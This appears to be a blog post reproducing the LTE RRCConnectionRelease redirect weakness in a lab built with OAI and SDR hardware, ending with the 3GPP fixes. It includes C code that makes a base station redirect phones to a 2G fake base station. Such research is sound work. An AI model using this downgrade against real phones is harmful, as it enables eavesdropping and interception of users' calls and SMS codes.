# LTE RRCConnectionRelease Redirect问题分析

3 YEARS AGO □ 5G 8 MINUTES READ (ABOUT 1238 WORDS)

这个问题是在16年被国内研究员发现提出,并实现了完整的攻击。因为这是一个很经典的问题,在学习LTE/5G安全过程中复现一下也是很有必要的。我大概是在今年初分析复现这个问题。

RRCConnectionRelease在5GNR中是RRCRelease.

RRCConnectionRelease正常的使用是:



Figure 5.3.8.1-1: RRC connection release, successful

The purpose of this procedure is:

- to release the RRC connection, which includes the release of the established radio bearers as well as all radio resources; or
- to suspend the RRC connection for both suspended RRC connection or RRC\_INACTIVE, which includes the suspension of the established radio bearers.
- to configure, reconfigure or release radio resources for transmission using PUR.
- to complete the UP-EDT procedure and UP transmission using PUR, which includes the release or suspension of the established radio bearers.

由基站发给UE,作用包括释放一个rrc connection...

# 基本原理

当在nas层reject当前连接后,ue接收后,会触发基站发送rrcconnectionrelease给UE,此

协议上最升始的描述,UE接收后并个会对rrcconnectionrelease的完整性进行校验,而直接接收解析。

在rrcconnectionrelease中可以携带redirectedCarrierInfo结构,可以直接查看asn文件中对该结构的定义:

```
1
     typedef struct LTE_RRCConnectionRelease_r8_IEs {
 2
             LTE_ReleaseCause_t
                                      releaseCause;
             struct LTE_RedirectedCarrierInfo
                                                      *redirectedCarrierInfo
 3
             struct LTE_IdleModeMobilityControlInfo *idleModeMobilityContr
 4
 5
             struct LTE_RRCConnectionRelease_v890_IEs
                                                              *nonCriticalEx
 6
             /* Context for parsing across buffer boundaries */
 7
             asn_struct_ctx_t _asn_ctx;
 8
     } LTE_RRCConnectionRelease_r8_IEs_t;
 9
10
     //////
11
     typedef enum LTE_RedirectedCarrierInfo_PR {
12
             LTE_RedirectedCarrierInfo_PR_NOTHING,
                                                      /* No components prese
13
             LTE_RedirectedCarrierInfo_PR_eutra,
             LTE_RedirectedCarrierInfo_PR_geran,
14
             LTE_RedirectedCarrierInfo_PR_utra_FDD,
15
             LTE_RedirectedCarrierInfo_PR_utra_TDD,
16
             LTE_RedirectedCarrierInfo_PR_cdma2000_HRPD,
17
             LTE_RedirectedCarrierInfo_PR_cdma2000_1xRTT,
18
             /* Extensions may appear below */
19
20
             LTE_RedirectedCarrierInfo_PR_utra_TDD_r10,
             LTE_RedirectedCarrierInfo_PR_nr_r15
21
22
     } LTE_RedirectedCarrierInfo_PR;
23
     //////
     typedef struct LTE_RedirectedCarrierInfo {
24
25
             LTE_RedirectedCarrierInfo_PR present;
26
             union LTE_RedirectedCarrierInfo_u {
                     LTE_ARFCN_ValueEUTRA_t
27
                                               eutra;
                     LTE_CarrierFreqsGERAN_t geran;
28
```

```
31
                     LTE_CarrierFreqCDMA2000_t
                                                        cdma2000_HRPD;
                     LTE_CarrierFreqCDMA2000_t
32
                                                        cdma2000_1xRTT;
33
                      * This type is extensible,
34
                      * possible extensions are below.
35
36
                      */
37
                     LTE_CarrierFreqListUTRA_TDD_r10_t
                                                                utra_TDD_r10;
                     LTE_CarrierInfoNR_r15_t nr_r15;
38
39
             } choice;
40
41
             /* Context for parsing across buffer boundaries */
             asn_struct_ctx_t _asn_ctx;
42
     } LTE_RedirectedCarrierInfo_t;
43
```

可以发现redirectedCarrierInfo其实是给UE提供了一个/多个可选的频率/频道/arfcn。当UE收到后会根据该信息选择一个合适的cell。(The procedure can also be used to release and redirect a UE to another frequency)

## 环境

不影响现网,因此用oai和openair-cn搭建一个LTE网。用正常手机(UE)连接。(USRP B210+笔记本)

选用的是通过核心网/MME发送的attach reject来触发基站的RRCConnectionRelease.

初始状态的测试,attach reject选用cause 17,network failure,比较"弱"的一个cause。

oai代码不动,默认RRCConnectionRelease中是不携带redirectedCarrierInfo。修改openair-cn,当接收到第一次attach request时候,发送attach reject,cause 17;而第二次将正常处理attach request(即accept)。

搭建一个2G环境,保持运行状态。(一个Linux虚拟机+limesdr mini)

现象: UE在第一次attach reject之后,继续向LTE网络发起attach request,然后正常连接LTE网络。

oai在asn1\_msg.c中,do\_RRCConnectionRelease函数中,是用米构造RRCConnectionRelease包,添加redirectedCarrierInfo结构。比如我的添加:

```
LTE_RedirectedCarrierInfo_t rInfo;
 1
 2
 3
       // geran
       rInfo.present = LTE_RedirectedCarrierInfo_PR_geran;
 4
 5
       LTE_CarrierFreqsGERAN_t cfgt;
       cfgt.startingARFCN = 636;
 6
 7
       cfgt.bandIndicator = 0;
       cfgt.followingARFCNs.present = LTE_CarrierFreqsGERAN__followingARFCN
 8
 9
       cfgt.followingARFCNs.choice.equallySpacedARFCNs.arfcn_Spacing = 1;
10
       cfgt.followingARFCNs.choice.equallySpacedARFCNs.numberOfFollowingARF
11
       rInfo.choice.geran = cfgt;
12
13
14
       rrcConnectionRelease->criticalExtensions.choice.c1.choice.rrcConnect
15
```

arfcn和频率对应可以参考,保持和你搭建的伪基站一致即可:

https://wenku.baidu.com/view/55e2d6677cd184254a35355b.html

现象是在一次attach reject之后直接连接到了搭建的2G伪基站上。

# 后续

很早就发现的问题,但3GPP协议文档却很晚才体现添加修复。测试用的一款19年底的手机也是受影响的。

当UE收到RCCConnectionRelease/RRCRelease时,处理流程上36331和38331都有相关修改。比如36331描述如下:

- 3 2> if upper layers indicate that redirect to GERAN without AS secu
- 4 3> perform the actions upon leaving RRC\_CONNECTED as speci
- 1 1> if the RRCConnectionRelease message includes redirectedCarrierInfo i
- 2 1> if the RRCConnectionRelease message includes idleModeMobilityControl
- 3 2> if AS security has not been activated; and
- 4 2> if upper layers indicate that redirect to GERAN without AS secur
- 5 3> ignore the content of the RRCConnectionRelease;
- 6 3> perform the actions upon leaving RRC\_CONNECTED or RRC\_INACTI

描述中在AS Security之后必须得有完整性保护;如果在AS Security之前的话,携带 redirectedCarrierInfo字段是不会被处理的。其实也还有这么一个条件if upper layers indicate that redirect to GERAN 所以和基带的实现也有很大关系。

而在38331中,到了release 15.6.0(19年6月)才额外添加一句ignore:

- 1 1> if the AS security is not activated:
- 2 2> ignore any field included in RRCRelease message except waitTime;
- 3 2> perform the actions upon going to RRC\_IDLE as specified in 5.3.1

### 相关文档参考

Forcing a Targeted LTE Cellphone into an Eavesdropping Network

seeker: 伪基站高级利用技术——彻底攻破短信验证码

[1] LTE RRC: TS 36331 [2] 5G RRC: TS 38331

#5G

© 2020 icepng Powered by Hexo & Minos